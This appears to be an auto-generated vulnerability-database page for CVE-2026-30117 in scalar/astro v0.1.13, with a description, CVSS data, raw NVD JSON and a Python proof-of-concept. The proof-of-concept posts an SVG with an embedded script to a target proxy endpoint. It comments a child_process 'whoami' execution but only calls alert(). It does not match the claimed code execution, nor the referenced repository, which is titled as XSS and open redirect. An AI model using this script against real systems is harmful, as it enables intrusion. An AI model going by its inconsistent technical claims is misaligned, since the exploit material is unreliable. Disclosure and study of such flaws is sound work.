Security Vulnerability Report
中文
CVE-2026-30117 CVSS 9.8 CRITICAL

CVE-2026-30117

Published: 2026-05-19 16:16:20
Last Modified: 2026-05-20 14:16:40

Description

scalar/astro v0.1.13 was discovered to contain an arbitrary file upload vulnerability in the the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows attackers to execute arbitrary code via uploading a crafted SVG file.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

scalar/astro v0.1.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-30117 import requests target = "http://vulnerable-host/proxy" # Malicious SVG payload intended for code execution svg_payload = """<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" /> <script type="text/javascript"> // Arbitrary code execution payload // Example: require('child_process').exec('whoami'); alert('Vulnerable to CVE-2026-30117'); </script> </svg>""" # Exploit the scalar_url parameter files = {'scalar_url': ('exploit.svg', svg_payload, 'image/svg+xml')} response = requests.post(target, files=files) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Check the server for code execution.") else: print("[-] Exploit failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30117", "sourceIdentifier": "[email protected]", "published": "2026-05-19T16:16:19.980", "lastModified": "2026-05-20T14:16:39.693", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "scalar/astro v0.1.13 was discovered to contain an arbitrary file upload vulnerability in the the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows attackers to execute arbitrary code via uploading a crafted SVG file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/prassan10/XSS-Open-Redirect-via-scalar_url", "source": "[email protected]"}]}}